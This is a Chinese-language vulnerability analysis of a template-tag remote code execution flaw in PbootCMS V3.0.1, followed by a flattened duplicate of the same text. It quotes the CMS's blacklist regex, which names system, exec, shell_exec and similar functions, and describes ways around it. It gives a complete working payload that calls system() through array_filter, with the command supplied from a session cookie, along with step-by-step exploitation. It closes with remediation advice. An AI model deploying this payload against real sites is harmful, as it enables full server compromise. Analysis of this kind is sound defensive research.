PbootCMS V3.0.1任意代码执行
字数 1034 2025-08-20 18:17:53

PbootCMS V3.0.1 任意代码执行漏洞分析与利用

漏洞概述

PbootCMS V3.0.1 版本存在一个任意代码执行漏洞,攻击者可以通过精心构造的模板标签实现远程代码执行。该漏洞源于模板解析过程中的过滤不严,结合PHP函数特性可实现绕过安全限制。

漏洞背景

在PbootCMS 2.0.9版本的分析中,发现某些利用方法在Nginx环境下无法使用。为解决这个问题并寻找新版本可用的利用方法,对3.0.1版本进行了进一步分析。

环境准备

  1. 下载源码:https://gitee.com/hnaoyun/PbootCMS (版本V3.0.1,更新时间为2020-07-09)
  2. 安装后需要从https://www.pbootcms.com/freesn/获取授权码

漏洞分析

关键代码位置

漏洞主要位于apps/home/controller/ParserController.php文件中的parserIfLabel方法。

安全过滤机制

系统有两处关键过滤:

  1. 函数名过滤
if (preg_match_all('/([\w]+)(?:\s*)\(/i', $matches[1][$i], $matches2)) {
    foreach ($matches2[1] as $value) {
        if (function_exists($value) && !in_array($value, $white_fun)) {
            $danger = true;
            break;
        }
    }
}
  1. 黑名单过滤
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)/i', $matches[1][$i]))

绕过方法

  1. 第一处过滤绕过

    • 在函数名和括号之间插入控制字符来绕过校验
  2. 第二处过滤绕过

    • 使用array_filter函数实现代码执行,例如:array_filter(['whoami'],'system');
    • 绕过system检测:将system放到header头中,使用session_id(session_start())方法获取session值
  3. 冒号替换绕过

    • 系统会替换:@符号
    • 使用反斜杠进行绕过:{pboot\:if}{/pboot\:if}
    • 反斜杠会被写入数据库,在渲染时调用stripcslashes函数删除反斜杠(位于core/function/handle.php

漏洞利用

利用步骤

  1. 登录后台,进入"站点信息"编辑页面

  2. 插入恶意代码

{pboot:if}(array_filter(array(0=>session_id(session_start())),'system')){/pboot:if}
  1. 访问前台首页,抓取数据包

  2. 修改Cookie

    • 将cookie中session的配置项改为system

完整Payload示例

{pboot\:if}(array_filter(array(0=>session_id(session_start())),'system')){/pboot\:if}

修复建议

  1. 严格过滤模板标签中的特殊字符
  2. 加强函数调用检查,防止插入控制字符绕过
  3. 更新到最新版本,官方可能已修复此漏洞
  4. 限制后台模板编辑权限

总结

该漏洞通过精心构造的模板标签,结合PHP函数特性和系统处理机制,成功绕过多重安全过滤,最终实现任意代码执行。攻击者需要后台编辑权限才能利用此漏洞,但一旦成功利用可完全控制服务器。

PbootCMS V3.0.1 任意代码执行漏洞分析与利用 漏洞概述 PbootCMS V3.0.1 版本存在一个任意代码执行漏洞,攻击者可以通过精心构造的模板标签实现远程代码执行。该漏洞源于模板解析过程中的过滤不严,结合PHP函数特性可实现绕过安全限制。 漏洞背景 在PbootCMS 2.0.9版本的分析中,发现某些利用方法在Nginx环境下无法使用。为解决这个问题并寻找新版本可用的利用方法,对3.0.1版本进行了进一步分析。 环境准备 下载源码:https://gitee.com/hnaoyun/PbootCMS (版本V3.0.1,更新时间为2020-07-09) 安装后需要从https://www.pbootcms.com/freesn/获取授权码 漏洞分析 关键代码位置 漏洞主要位于 apps/home/controller/ParserController.php 文件中的 parserIfLabel 方法。 安全过滤机制 系统有两处关键过滤: 函数名过滤 : 黑名单过滤 : 绕过方法 第一处过滤绕过 : 在函数名和括号之间插入控制字符来绕过校验 第二处过滤绕过 : 使用 array_filter 函数实现代码执行,例如: array_filter(['whoami'],'system'); 绕过 system 检测:将 system 放到header头中,使用 session_id(session_start()) 方法获取session值 冒号替换绕过 : 系统会替换 : 为 @ 符号 使用反斜杠进行绕过: {pboot\:if}{/pboot\:if} 反斜杠会被写入数据库,在渲染时调用 stripcslashes 函数删除反斜杠(位于 core/function/handle.php ) 漏洞利用 利用步骤 登录后台 ,进入"站点信息"编辑页面 插入恶意代码 : 访问前台首页 ,抓取数据包 修改Cookie : 将cookie中session的配置项改为 system 完整Payload示例 修复建议 严格过滤模板标签中的特殊字符 加强函数调用检查,防止插入控制字符绕过 更新到最新版本,官方可能已修复此漏洞 限制后台模板编辑权限 总结 该漏洞通过精心构造的模板标签,结合PHP函数特性和系统处理机制,成功绕过多重安全过滤,最终实现任意代码执行。攻击者需要后台编辑权限才能利用此漏洞,但一旦成功利用可完全控制服务器。